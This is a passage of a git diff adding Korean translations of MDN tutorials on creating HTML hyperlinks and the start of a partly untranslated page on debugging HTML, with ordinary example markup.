+<p><strong>Note</strong>: 링크 제목은 마우스 호버시에만 공개 된다.  이것은 웹 페이지를 탐색하기 위해 키보드에만 의존하는 사람들이 타이틀 정보에 접근하는데 어려움을 겪게 된다는 것을 의미한다. 만약 title의 정보가 페이지 사용에 있어서 정말로 중요하다면,  해당하는 정보를 일반 텍스트에 넣어줌으로써 모든 사용자가 접근할 수 있는 방식으로 제시해주어야한다.</p>
+</div>
+
+<h3 id="능동학습_링크를_만들어봅시다.">능동학습: 링크를 만들어봅시다.</h3>
+
+<p>적극적으로 학습해 봅시다: local code 편집기를 사용해서 하나의 HTML document 를 만드세요. (<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">소스코드: 템플릿 시작하기</a>가 잘 될거에요.)</p>
+
+<ul>
+ <li>HTML body 속에, 하나의 혹은 더 많은 paragraph 들, 혹은 당신이 이미 알고 있는 다른 타입의 content 들을 더해보세요.</li>
+ <li>몇몇의 content들을 링크로 바꾸세요.</li>
+ <li>타이틀 속성들을 더하세요.</li>
+</ul>
+
+<h3 id="Block_level_링크들">Block level 링크들</h3>
+
+<p>이전에 얘기했듯이, 여러분은 어떤 내용이든 link로 바꿀 수 있습니다. <a href="https://developer.mozilla.org/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Block_versus_inline_elements">block level 요소들</a> 이라고 할지라도요. 만약 링크로 바꾸고 싶은 이미지가 있다면, <code>&lt;a&gt; 와 &lt;/a&gt;</code> 사이에 그 이미지를 넣으시기만 하시면 됩니다.</p>
+
+<pre class="brush: html">&lt;a href="https://www.mozilla.org/en-US/"&gt;
+  &lt;img src="mozilla-image.png" alt="mozilla logo that links to the mozilla homepage"&gt;
+&lt;/a&gt;</pre>
+
+<div class="note">
+<p><strong>메모</strong>: 나중에 보실 글에선 웹에서 이미지를 사용하는 것에 대해 더 많이 배우실 겁니다.</p>
+</div>
+
+<h2 id="URL_과_path_에_대한_기본_지침">URL 과 path 에 대한 기본 지침</h2>
+
+<p> link target 에 대해 완전히 이해하기 위해서, URL 과 파일 path에 대하여 이해하실 필요가 있습니다. 이번 시간에는 여러분께서 성취하실 필요가 있는 정보에 대해서 알려드릴게요.</p>
+
+<p>URL, 혹은 Uniform Resource Locator 은 단순히 무언가가 웹상의 어디에 위치하는지 결정하는 하나의 텍스트 문자열이랍니다. 예를 들면, Mozilla's 영어 홈페이지는<code>https://www.mozilla.org/en-US/</code>이죠.</p>
+
+<p>URL은 파일들을 찾기위해 path를 이용합니다. path는 당신이 관심있어 하는 파일이 파일 시스템 어디에 있는지 구체적으로 명시하구요. 디렉토리 구조에 대한 예제를 보시죠. (see the <a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/creating-hyperlinks">creating-hyperlinks</a> directory.)</p>
+
+<p><img alt="A simple directory structure. The parent directory is called creating-hyperlinks and contains two files called index.html and contacts.html, and two directories called projects and pdfs, which contain an index.html and a project-brief.pdf file, respectively" src="https://mdn.mozillademos.org/files/12409/simple-directory.png" style="display: block; margin: 0 auto;"></p>
+
+<p>이 디렉토리 구조의 <strong>root</strong>는 <code>creating-hyperlinks</code>. 웹사이트를 로컬 단에서 다룰 때에는 전체 웹사이트가 모두 들어갈 수 있는 하나의 디렉토리를 가져야 할 것입니다. Root 안에서 우리는 <code>index.html</code> 파일과 <code>contacts.html </code>파일을 갖습니다. 진짜 웹사이트 안에서 <code>index.html</code> 는 우리의 홈 페이지 또는 랜딩 페이지(웹사이트의 접속 포인트 또는 웹사이트의 특정 부분 이 되는 페이지)가 될 것입니다.  </p>
+
+<p>또 Root 안에는 두 개의 디렉토리가 있습니다 — <code>pdfs</code> 와 <code>projects</code>. 이들은 각각 하나의 파일을 내부에 가지고 있습니다 — 각각 PDF (<code>project-brief.pdf</code>) 와 <code>index.html</code> 파일입니다.  당신은 두 개의 <code>index.html</code> 파일들을 각각 파일 시스템의 다른 위치에 있도록 해서 하나의 프로젝트 안에 가질 수 있습니다. 많은 웹 사이트들이 이렇게 하고 있습니다. 두번째 <code>index.html</code>는 아마 프로젝트와 관련된 정보의 메인 랜딩 페이지가 될 것입니다.</p>
+
+<ul>
+ <li>
+  <p><strong>같은 디렉토리(폴더)</strong>: <code>contacts.html</code>을 가리키는 하이퍼링크를 <code>index.html</code>(top level <code>index.html</code>) 안에 포함시키려면 현재 파일과 동일한 디렉토리에 연결하려는 파일의 파일 이름만 지정하면 된다. 따라서 사용할 URL은 <code>contacts.html</code>: 입니다.</p>
+ </li>
+</ul>
+
+<pre class="brush: html">&lt;p&gt;Want to contact a specific staff member?
+Find details on our &lt;a href="contacts.html"&gt;contacts page&lt;/a&gt;.&lt;/p&gt;</pre>
+
+<ul>
+ <li>
+  <p><strong>하위 디렉토리로 하향 이동</strong>: <code>projects/index.html</code>을 가리키는 하이퍼링크를 internal <code>index.html</code>(<code>index.html</code>에 상위 레벨)에 포함시키려면 연결하려는 파일을 표시하기 전에 프로젝트 디렉토리로 내려가야 할 것이다. 이 작업은 디렉토리 이름, 그 다음 슬래시, 그 다음 파일 이름을 지정하여 수행되므로 사용할 URL은<code>projects/index.html</code> 입니다.</p>
+ </li>
+</ul>
+
+<pre class="brush: html">&lt;p&gt;Visit my &lt;a href="projects/index.html"&gt;project homepage&lt;/a&gt;.&lt;/p&gt;</pre>
+
+<ul>
+ <li><strong>부모 디렉토리로 상향 이동</strong>: <code>pdfs/project-brief.pdf</code>를 가리키는 하이퍼링크를 <code>projects/index.html</code> 안에 포함시키려면 디렉토리 레벨을 올린 다음 pdf 디렉토리로 다시 내려가야 할 것이다. "상위 디렉터리 이동"은 두 개의 점을 사용하여 표시된다. — <code>..</code> — 따라서 사용할 URL은 <code>../pdfs/project-brief.pdf</code>:</li>
+</ul>
+
+<pre class="brush: html">&lt;p&gt;A link to my &lt;a href="../pdfs/project-brief.pdf"&gt;project brief&lt;/a&gt;.&lt;/p&gt;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 필요한 경우 아래와 같이 이러한 기능의 여러 인스턴스를 복잡한 URL로 결합할 수 있다  <code>../../../complex/path/to/my/file.html</code>.</p>
+</div>
+
+<h3 id="Document_fragments문서_조각">Document fragments(문서 조각)</h3>
+
+<p>문서 상단이 아닌 HTML 문서 내부의 특정 부분(Document fragments(문서 조각)에 링크 할 수 있다. 그것을 하기 위해서 먼저 당신은 링크를 시키고 싶은 태그에 {{htmlattrxref("id")}} 속성을 넣어 주어야한다. 일반적으로는 특정 헤드라인에 연결하는 것이 타당하다.</p>
+
+<p>예제:</p>
+
+<pre class="brush: html">&lt;h2 id="Mailing_address"&gt;Mailing address&lt;/h2&gt;</pre>
+
+<p>만약 특정 ID에 연결하려면 URL 끝에 해시/파운드 기호를 포함하면 된다,</p>
+
+<p>예제:</p>
+
+<pre class="brush: html">&lt;p&gt;Want to write us a letter? Use our &lt;a href="contacts.html#Mailing_address"&gt;mailing address&lt;/a&gt;.&lt;/p&gt;</pre>
+
+<p>Document fragments(문서 조각)를 단독으로 사용하여 동일한 문서의 다른 부분에 연결할 수 있다</p>
+
+<pre class="brush: html">&lt;p&gt;The &lt;a href="#Mailing_address"&gt;company mailing address&lt;/a&gt; can be found at the bottom of this page.&lt;/p&gt;</pre>
+
+<h3 id="절대_URL과_상대_URL">절대 URL과 상대 URL</h3>
+
+<p>웹에서는 절대 URL과 상대 URL 두 가지의 용어를 찾아볼 수 있습니다.</p>
+
+<p><strong>절대 URL</strong>: 웹에서 정의된 상대적인 위치를 가리킵니다. {{glossary("protocol")}} and {{glossary("domain name")}} 포함. 예를 들어, 만약 <code>index.html</code> 페이지가 <code>projects</code> 폴더에 업로드 되면 이는 웹 서버의 root 안에 위치하게 되고 <br>
+ 웹 사이트 도메인은 <code>http://www.example.com</code>,<br>
+ 그 페이지는  <code>http://www.example.com/projects/index.html</code><br>
+ (혹은 그저 <code>http://www.example.com/projects/</code>, 대부분의 웹 서버는 URL에서 명시되지 않은 경우 페이지를 불러오기 위해 <code>index.html</code> 과 같은 랜딩 페이지를 찾습니다.)</p>
+
+<p>절대 URL은 어디에 사용되든 항상 같은 장소를 가리킵니다.</p>
+
+<p><strong>상대 URL</strong>: 당신이 link하고 있는 파일(과거 섹션의 파일 같은)로부터 상대적인 위치를 가리킵니다. 예를 들어, 우리가 예시 파일 <code>http://www.example.com/projects/index.html</code> 에서 같은 디렉토리에 있는 PDF 파일로 link하고 싶다면, URL은 <code>project-brief.pdf</code> 과 같이 파일이름이어야 할 것입니다— 추가 정보는 필요 없습니다. 만약 PDF 파일이 <code>projects</code> 하위 디렉토리인 <code>pdfs</code>에 있다면, 상대 URL은 <code>pdfs/project-brief.pdf</code> 일 것입니다. (같은 URL로 <code>http://www.example.com/projects/pdfs/project-brief.pdf</code>.)</p>
+
+<p>상대 URL은 파일의 실제 위치가 어디냐에 따라 다른 장소를 가리킬 것입니다. — 예를 들어 우리가 <code>index.html</code> 파일을 <code>projects</code> 디렉토리에서 웹사이트의 root로 옮긴다면 (최상위, 어느 디렉토리에도 포함되지 않음), <code>pdfs/project-brief.pdf</code> 의 상대 URL은 <code>http://www.example.com/pdfs/project-brief.pdf</code>를 가리킬 것입니다. <br>
+ <code>http://www.example.com/projects/pdfs/project-brief.pdf</code>를 가리키지 않습니다.</p>
+
+<p>물론, 당신이 <code>index.html</code> 파일을 옮겼다고 해서 <code>project-brief.pdf</code> 파일과 <code>pdfs</code> 폴더의 위치가 갑자기 바뀌지는 않을 것입니다- 이것은 당신의 링크가 잘못된 곳을 가리키게 할 것이므로 클릭을 해도 제대로 작동하지 않을 것입니다. 주의하세요!</p>
+
+<h2 id="Link_실습하기">Link 실습하기</h2>
+
+<p>링크 작성시 지켜야할 몇가지 모범 사례에 대해 살펴보자</p>
+
+<ul>
+</ul>
+
+<h3 id="링크_명을_명확하게">링크 명을 명확하게</h3>
+
+<p>당신의 페이지에 링크를 올리는 것은 쉽다. 그것으로는 충분하지 않다. 우리는 모든 독자들에게 현재 상황과 그들이 선호하는 도구에 상관없이 접근성 높은 우리의 링크를 만들 필요가 있다.</p>
+
+<p>예를 들면:</p>
+
+<ul>
+ <li>스크린리더 사용자들은 링크에서 페이지 링크를 넘고, 컨텍스트에서 벗어난 링크를 읽는 것을 좋아한다.</li>
+ <li>검색 엔진은 링크 텍스트를 사용하여 대상 파일을 인덱싱하므로 링크 텍스트에 키워드를 포함시켜 링크되는 내용을 효과적으로 설명하는 것이 좋다.</li>
+ <li>시각적 독자들은 한 마디 한 마디를 읽기보다는 페이지를 훑어보고, 그들의 눈에는 링크처럼 눈에 띄는 페이지 특징이 그려질 것이다. 그들은 링크 텍스트가 유용하다는 것을 알게 될 것이다.</li>
+</ul>
+
+<p>구체적인 예제를 한번 살펴보자:</p>
+
+<p><em> link test:</em> <a href="https://firefox.com">Download Firefox</a></p>
+
+<pre class="brush: html">&lt;p&gt;&lt;a href="https://firefox.com/"&gt;
+  Download Firefox
+&lt;/a&gt;&lt;/p&gt;</pre>
+
+<p><em><strong>Bad</strong> link text:</em> <a href="https://firefox.com/">Click here</a> to download Firefox</p>
+
+<pre class="brush: html">&lt;p&gt;&lt;a href="https://firefox.com/"&gt;
+  Click here
+&lt;/a&gt;
+to download Firefox&lt;/p&gt;
+</pre>
+
+<p>Other tips:</p>
+
+<ul>
+ <li>링크 텍스트의 일부로 URL을 작성하지마세요 — URL은 보기 흉하며, 화면 판독기가 글자로 URL을 읽어낼 때 이상하게 들린다.</li>
+ <li>링크 텍스트에 "link"나 "links to"라고 쓰지마라 — 그것은 단지 소음이다. Screen readers 사용자들은 사용자에게 연관성이 있다고 말한다. 링크에는 일반적으로 다른 색상으로 스타일링 되고 밑줄이 그어져 있기 때문에 시각적으로 브라우저를 보는 사람들도 링크가 있다는 것을 알기 때문이다. (사용자들이 일반적으로 익숙하기 때문에 이 관습은 깨지면 안된다.)</li>
+ <li>링크 라벨은 가능한 짧게 유지하자 — 긴 링크는 특히 전체 내용을 읽어야하는 screen reader 사용자들을 짜증나게 한다.</li>
+ <li>동일한 텍스트의 여러 복사본이 서로 다른 위치에 연결되는 인스턴스 최소화. 이것은 스크린리더 사용자들에게 문제를 일으킬 수 있는데, 그들은 종종 문맥에서 링크 목록을 꺼낸다. "여기를 클릭", "여기를 클릭", "여기를 클릭"이라고 표시된 모든 링크를 여러 개 제시한다. 혼란스러울 것이다.</li>
+</ul>
+
+<h3 id="가능하면_상대_링크_사용하기">가능하면 상대 링크 사용하기</h3>
+
+<p>위의 설명에서, 당신은 절대 링크를 항상 사용하는 것이 좋은 생각이라고 생각할 수 있다; 결국, 그것들은 페이지가 상대적인 링크처럼 움직였을 때 깨지지 않는다. 그러나 동일한 웹 사이트 내의 다른 위치에 연결할 때 가능한 한 상대 링크를 사용해야 한다(다른 웹 사이트에 연결할 때는 절대 링크를 사용해야 한다).</p>
+
+<ul>
+ <li>우선, 당신의 코드를 스캔하는 것이 훨씬 쉽다. — 상대 링크가 일반적으로 절대 링크보다 훨씬 짧기 때문에 코드를 읽는 것이 훨씬 더 쉽다.</li>
+ <li>둘째, 가능한 한 상대적인 URL을 이용하는 것이 더 효율적이다. 절대 URL을 사용할 때, 브라우저는 {{glossary("DNS")}}로 도메인 이름을 쿼리하여 서버의 실제 위치를 조회하는 것으로 시작하고, 그 서버로 가서 요청되고 있는 파일을 찾는다. 반면에 상대적인 URL을 사용하면, 브라우저는 요청되고 있는 파일을 같은 서버에서 찾아 볼 뿐이다. 따라서 상대 URL이 할 수 있는 절대 URL을 사용하면 브라우저가 계속해서 추가 작업을 수행하도록 만들 수 있으며, 이것은 브라우저의 성능이 저하된다는 것을 의미한다.</li>
+</ul>
+
+<h3 id="비_HTML_리소스_연결_시_-_명확한_표식_남기기"> 비 HTML 리소스 연결 시 - 명확한 표식 남기기</h3>
+
+<p>PDF나 워드 문서와 같이 다운로드되거나 스트리밍되거나(비디오나 오디오와 같은) 다른 예상하지 못한 효과(팝업 창을 열거나 플래시 동영상을 로드)에 연결할 때는 명확한 표현을 추가하여 혼란을 줄 수 있어야 한다. 그것은 꽤 성가실 수 있다.</p>
+
+<p>예를 들어:</p>
+
+<ul>
+ <li>대역폭이 낮은 연결에 있는 경우 링크를 클릭하면 멀티 메가바이트 다운로드가 예기치 않게 시작된다.</li>
+ <li>플래시 플레이어를 설치하지 않은 경우 링크를 클릭한 다음 플래시가 필요한 페이지로 이동한다.</li>
+</ul>
+
+<p>여기서 사용할 수 있는 텍스트의 종류를 보려면 몇 가지 예를 살펴보십시오.:</p>
+
+<pre class="brush: html">&lt;p&gt;&lt;a href="http://www.example.com/large-report.pdf"&gt;
+  Download the sales report (PDF, 10MB)
+&lt;/a&gt;&lt;/p&gt;
+
+&lt;p&gt;&lt;a href="http://www.example.com/video-stream/"&gt;
+  Watch the video (stream opens in separate tab, HD quality)
+&lt;/a&gt;&lt;/p&gt;
+
+&lt;p&gt;&lt;a href="http://www.example.com/car-game"&gt;
+  Play the car game (requires Flash)
+&lt;/a&gt;&lt;/p&gt;</pre>
+
+<h3 id="다운로드_연결_시_download_attribute_사용">다운로드 연결 시 download attribute 사용</h3>
+
+<p>브라우저에서 열지 않고 다운로드할 리소스에 연결하는 경우 다운로드 속성을 사용하여 기본 저장 파일 이름을 제공할 수 있다.</p>
+
+<p>Firefox 39의 Windows 버전에 대한 다운로드 링크가 있는 예:</p>
+
+<pre class="brush: html">&lt;a href="https://download.mozilla.org/?product=firefox-39.0-SSL&amp;os=win&amp;lang=en-US"
+   download="firefox-39-installer.exe"&gt;
+  Download Firefox 39 for Windows
+&lt;/a&gt;</pre>
+
+<h2 id="활동적인_학습_탐색_메뉴_만들기">활동적인 학습: 탐색 메뉴 만들기</h2>
+
+<p>이 연습에서는 일부 페이지를 탐색 메뉴와 함께 연결하여 다중 페이지 웹 사이트를 생성하십시오. 이것은 웹사이트가 만들어지는 하나의 일반적인 방식이다. — 동일한 탐색 메뉴를 포함한 모든 페이지에 동일한 페이지 구조가 사용되기 때문에 링크를 클릭할 때 같은 장소에 머물고 있다는 인상을 주며, 다른 내용이 제기되고 있다.</p>
+
+<p>다음 4개의 페이지의 로컬 복사본을 서로 동일한 디렉토리에 만들어야 한다 (전체 목록을 보려면 <a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/navigation-menu-start">navigation-menu-start</a> 디렉토리를 참조):</p>
+
+<ul>
+ <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/index.html">index.html</a></li>
+ <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/projects.html">projects.html</a></li>
+ <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/pictures.html">pictures.html</a></li>
+ <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/social.html">social.html</a></li>
+</ul>
+
+<p>당신이 해야할 것:</p>
+
+<ol>
+ <li>연결할 페이지의 이름이 포함된 순서 없는 목록을 한 페이지의 지정된 위치에 추가하십시오. 네비게이션 메뉴는 보통 링크의 목록일 뿐이므로 의미적으로 OK이다.</li>
+ <li>각 페이지 이름을 해당 페이지 링크로 변경하십시오.</li>
+ <li>Navigation 메뉴를 각 페이지에 복사하십시오.</li>
+ <li>각 페이지에서 동일한 페이지에 대한 링크만 제거하십시오. — 페이지에 대한 링크가 포함된다는 것은 혼란스럽고 의미가 없으며, 링크가 부족하면 현재 어떤 페이지에 있는지 시각적으로 잘 알 수 있다.</li>
+</ol>
+
+<p>완성된 예는 다음과 같다:</p>
+
+<p><img alt="An example of a simple HTML navigation menu, with home, pictures, projects, and social menu items" src="https://mdn.mozillademos.org/files/12411/navigation-example.png" style="display: block; margin: 0 auto;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: 만약 당신이 막히거나, 당신이 그것을 제대로 가지고 있는지 확신할 수 없다면, 당신은 정확한 답을 보기 위해 <a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/navigation-menu-marked-up">navigation-menu-marked-up</a> 디렉토리를 확인할 수 있다.</p>
+</div>
+
+<h2 id="이메일_링크">이메일 링크</h2>
+
+<p>클릭했을 때 리소스나 페이지에 연결하지 않고 새 발신 전자 메일 메시지를 여는 링크나 단추를 만들 수 있다.</p>
+
+<p>이것은 {{HTMLElement("a")}} 태그안에 <code>mailto:</code> URL 스키마를 사용하여 구현할 수 있다.</p>
+
+<p>가장 기본적이고 일반적으로 사용되는 형태의 <code>mailto:</code> 링크는 단순히 대상 수신인의 이메일 주소를 표시한다.</p>
+
+<p>예를 들면:</p>
+
+<pre class="brush: html">&lt;a href="mailto:nowhere@mozilla.org"&gt;Send email to nowhere&lt;/a&gt;
+</pre>
+
+<p>이렇게 되면 다음과 같은 링크가 생성된다:  <a href="mailto:nowhere@mozilla.org">Send email to nowhere</a>.</p>
+
+<p>사실, 이메일 주소는 심지어 선택사항이다. 그것을 생략하면(즉, 당신의 {{htmlattrxref("href", "a")}} 아직 목적지 주소가 지정되지 않은 사용자의 메일 클라이언트에 의해 새로운 발신 이메일 창이 열린다. 이것은 종종 사용자가 선택한 주소로 이메일을 보내기 위해 클릭할 수 있는 "공유" 링크로서 유용하다.</p>
+
+<h3 id="세부_사항_지정하기">세부 사항 지정하기</h3>
+
+<p>이메일 주소 외에도 다른 정보를 제공할 수 있다. 실제로 표준 메일 헤더 필드는 사용자가 제공하는 <code>mailto</code> URL에 추가할 수 있다. 이것들 중 가장 일반적으로 사용되는 것은 "subject", "cc", and "body"(참된 헤더 필드는 아니지만 새 이메일에 대한 짧은 내용 메시지를 지정할 수 있음)이다. 각 필드와 그 값은 조회 용어로 지정된다.</p>
+
+<p>아래 예제가 cc, bcc, subject and body 를 포함한다.:</p>
+
+<pre class="brush: html">&lt;a href="mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&amp;bcc=name3@rapidtables.com&amp;amp;subject=The%20subject%20of%20the%20email &amp;amp;body=The%20body%20of%20the%20email"&gt;
+  Send mail with cc, bcc, subject and body
+&lt;/a&gt;</pre>
+
+<div class="note">
+<p><strong>Note:</strong> 각 필드의 값은 URL로 인코딩되어야 한다(즉, 출력되지 않은 문자 및 <a href="http://en.wikipedia.org/wiki/Percent-encoding">percent-escaped</a>). 또한 <code>mailto: </code>URL의 각 필드를 구분하는 <code>&amp;</code> 의 사용에 유의하십시오. 이것은 표준 URL 쿼리 표기법입니다.</p>
+</div>
+
+<p>여기 다른 몇 가지 <code>mailto</code> URL 샘플들이 있다:</p>
+
+<ul>
+ <li><a href="mailto:">mailto:</a></li>
+ <li><a href="mailto:nowhere@mozilla.org">mailto:nowhere@mozilla.org</a></li>
+ <li><a href="mailto:nowhere@mozilla.org,nobody@mozilla.org">mailto:nowhere@mozilla.org,nobody@mozilla.org</a></li>
+ <li><a href="mailto:nowhere@mozilla.org?cc=nobody@mozilla.org">mailto:nowhere@mozilla.org?cc=nobody@mozilla.org</a></li>
+ <li><a href="mailto:nowhere@mozilla.org?cc=nobody@mozilla.org&amp;subject=This%20is%20the%20subject">mailto:nowhere@mozilla.org?cc=nobody@mozilla.org&amp;subject=This%20is%20the%20subject</a></li>
+</ul>
+
+<h2 id="요약">요약</h2>
+
+<p>이제 링크는 여기까지입니다, 어쨌든! 나중에 스타일링을 시작하면 링크로 돌아간다. 다음 HTML에서는 텍스트 의미론(Text Semantics)으로 돌아가서 유용하게 사용할 수 있는 고급/비정상적인 기능을 살펴보도록 하겠다. — 다음 목적지는 고급 텍스트 서식에 대해 알아볼 것이다.</p>
+
+<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML")}}</p>
diff --git a/files/ko/learn/html/introduction_to_html/debugging_html/index.html b/files/ko/learn/html/introduction_to_html/debugging_html/index.html
new file mode 100644
index 0000000000..6b359dce5c
--- /dev/null
+++ b/files/ko/learn/html/introduction_to_html/debugging_html/index.html
@@ -0,0 +1,179 @@
+---
+title: HTML 디버깅
+slug: Learn/HTML/Introduction_to_HTML/Debugging_HTML
+translation_of: Learn/HTML/Introduction_to_HTML/Debugging_HTML
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<p class="summary">HTML을 작성을 할 수 있지만, 문제가 생겼을 때  코드의 오류가 발생한 부분을 해결할 수 없나요? 이 기사에서는 HTML의 오류를 찾고 수정하는 데 도움이되는 몇 가지 도구를 소개합니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선행사항:</th>
+   <td>HTML이 익숙해야 합니다. 다음문서를 이해하는 정도면 충분합니다. <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML로 시작하기</a>, <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML 텍스트 기본사항</a>, and <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">하이파링크 만들기</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>HTMl에서 문제를 찾기위해 디버깅 툴을 사용하는 기본적인 방법을 배웁니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="디버깅은_무섭지_않아요.">디버깅은 무섭지 않아요.</h2>
+
+<p>여러분이 원하든 원하지않든 무언가 잘못되면 코드가 동작하지 않거나 검파일 애러가 나는 무시무시한 순간이 다가옵니다. 다음과 같이 말이죠</p>
+
+<p>아래는 <a href="https://www.rust-lang.org/">Rust</a> 언어로 작성된 간단한 프로그램을 {{glossary ( "compile")}}할 때 발생한 오류를 보여줍니다.</p>
+
+<p><img alt="A console window showing the result of trying to compile a rust program with a missing quote around a string in a print statement. The error message reported is error: unterminated double quote string." src="https://mdn.mozillademos.org/files/12435/error-message.png" style="display: block; height: 520px; margin: 0px auto; width: 711px;"></p>
+
+<p>여기나온 오류 메시지는 상대적으로 이해하기 쉽습니다. "끝나지 않은 큰 따옴표 문자열". 애러 내용을 보면 코드 2번째 줄의 <code>println! (Hello, world! ");</code>에 큰 따옴표가 누락 된 것을 금방 볼 수 있습니다. 하지만 프로그램이 커질수록 오류 메시지는 점점더 복잡해지고 해석하기가 쉽지 않아집니다. 단순한 경우라 할지라도 Rust에 대해 전혀 모르는 사람에게 약간 무섭게 보일 수 있습니다.(보통은 점점 무서워지죠..)</p>
+
+<p>그래도 디버깅을 무서워하지 않으셔도 됩니다! 프로그래밍 언어나 코드를 작성하고 디버깅하는 데 있어 중요한 것은 언어와 도구에 익숙해지는 것입니다. (익숙해져야 합니다!)</p>
+
+<h2 id="HTML과_디버깅">HTML과 디버깅</h2>
+
+<p>HTML은 Rust만큼 복잡하지 않습니다. HTML은 브라우저가 구문 분석하기 전에 다른 형식으로 컴파일되지 않으며 결과를 표시합니다 (해석되지 않고 컴파일되지 않음). 그리고 HTML의 {{glossary ( "element")}} 구문은 Rust, {{glossary ( "JavaScript")}} 또는 {{glossary ( "Python")}}과 같은 "실제 프로그래밍 언어"보다 이해하기 쉽습니다. 브라우저가 HTML을 구문 분석하는 방식은 프로그래밍 언어가 실행되는 방식보다 훨씬 유연(<strong>permissive</strong>)합니다. 이는 좋은 점이기도 하지만 나쁜 점이기도 합니다.</p>
+
+<h3 id="허용_코드">허용 코드</h3>
+
+<p>그렇다면 유연함(<strong>permissive</strong>)이란 무엇일까요? 음, 일반적으로 코드에서 뭔가 잘못했을 때, 두 가지 주요 유형의 오류가 발생합니다.</p>
+
+<ul>
+ <li><strong>문법 오류(Syntax errors)</strong>: 이러한 오류는 위에 표시된 Rust 오류와 같이 실제로 프로그램이 실행되지 않는 코드의 맞춤법 오류입니다. 이들은 일반적으로 언어 구문에 익숙하고 오류 메시지의 의미를 알고있다면 수정하기 쉽습니다.</li>
+ <li><strong>논리 에러(Logic errors)</strong>: 언어 문법이 올바르게 작성된 오류입니다. 동작은 하지만 코드가 의도한 것과 다르게 동작하므로 프로그램이 잘못 실행됩니다. 오류의 원인을 알려주는 오류 메시지가 없으므로 구문 오류보다 수정하기가 더 어렵습니다.</li>
+</ul>
+
+<p>브라우저 자체에서 구문 분석을하기 때문에 HTML 자체는 문법 오류가 발생하지 않으므로 문법 오류가 있어도 페이지가 계속 표시됩니다. 브라우저에는 잘못 작성된 마크 업을 해석하는 방법을 설명하는 규칙이 내장되어 있으므로 여러분이 생각한대로 결과가 나오지 않더라도 HTML페이지가 표시됩니다. 물론 문제가 될 수 있습니다!</p>
+
+<div class="note">
+<p><strong>Note</strong>: 웹이 처음 만들어지면 사람들이 자신의 콘텐트를 게시 할 수 있도록 허용하는 것이 문법이 정확한지 확인하는 것보다 중요하기 때문에 HTML은 허용 된 방식으로 구문 분석됩니다. 처음부터 웹 사이트가 문법오류에 엄격했다면 웹은 오늘날처럼 인기가 있지 않았을 것입니다.</p>
+</div>
+
+<h3 id="자발적_학습_Permissive한_코드를_배웁니다.">자발적 학습 : Permissive한 코드를 배웁니다.</h3>
+
+<p>유연한 성질의 HTML 코드를 배울 시간입니다.</p>
+
+<ol>
+ <li>첫째로,  우리의 <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/debugging-html/debug-example.html">debug-example demo</a>를 다운로드하고 Local에 저장하세요. This demo is deliberately written to have some errors in it for us to explore (the HTML markup is said to be <strong>badly-formed</strong>, as opposed to <strong>well-formed</strong>).</li>
+ <li>Next, open it in a browser. You will see something like this:<img alt="A simple HTML document with a title of HTML debugging examples, and some information about common HTML errors, such as unclosed elements, badly nested elements, and unclosed attributes. " src="https://mdn.mozillademos.org/files/12437/badly-formed-html.png" style="display: block; margin: 0 auto;"></li>
+ <li>This immediately doesn't look great; let's look at the source code to see if we can work out why (only the body contents are shown):
+  <pre class="brush: html notranslate">&lt;h1&gt;HTML debugging examples&lt;/h1&gt;
+
+&lt;p&gt;What causes errors in HTML?
+
+&lt;ul&gt;
+  &lt;li&gt;Unclosed elements: If an element is &lt;strong&gt;not closed properly,
+      then its effect can spread to areas you didn't intend
+
+  &lt;li&gt;Badly nested elements: Nesting elements properly is also very important
+      for code behaving correctly. &lt;strong&gt;strong &lt;em&gt;strong emphasised?&lt;/strong&gt;
+      what is this?&lt;/em&gt;
+
+  &lt;li&gt;Unclosed attributes: Another common source of HTML problems. Let's
+      look at an example: &lt;a href="https://www.mozilla.org/&gt;link to Mozilla
+      homepage&lt;/a&gt;
+&lt;/ul&gt;</pre>
+ </li>
+ <li>Let's review the problems:
+  <ul>
+   <li>The {{htmlelement("p","paragraph")}} and {{htmlelement("li","list item")}} elements have no closing tags. Looking at the image above, this doesn't seem to have affected the markup rendering too badly, as it is easy to infer where one element should end and another should begin.</li>
+   <li>The first {{htmlelement("strong")}} element has no closing tag. This is a bit more problematic, as it isn't easy to tell where the element is supposed to end. In fact, the whole of the rest of the text has been strongly emphasised.</li>
+   <li>This section is badly nested: <code>&lt;strong&gt;strong &lt;em&gt;strong emphasised?&lt;/strong&gt; what is this?&lt;/em&gt;</code>. It is not easy to tell how this has been interpreted because of the previous problem.</li>
+   <li>The {{htmlattrxref("href","a")}} attribute value has a missing closing double quote. This seems to have caused the biggest problem — the link has not rendered at all.</li>
+  </ul>
+ </li>
+ <li>Now let's look at the markup the browser has rendered, as opposed to the markup in the source code. To do this, we can use the browser developer tools. If you are not familiar with how to use your browser's developer tools, take a few minutes to review <a href="/en-US/docs/Learn/Discover_browser_developer_tools">Discover browser developer tools</a>.</li>
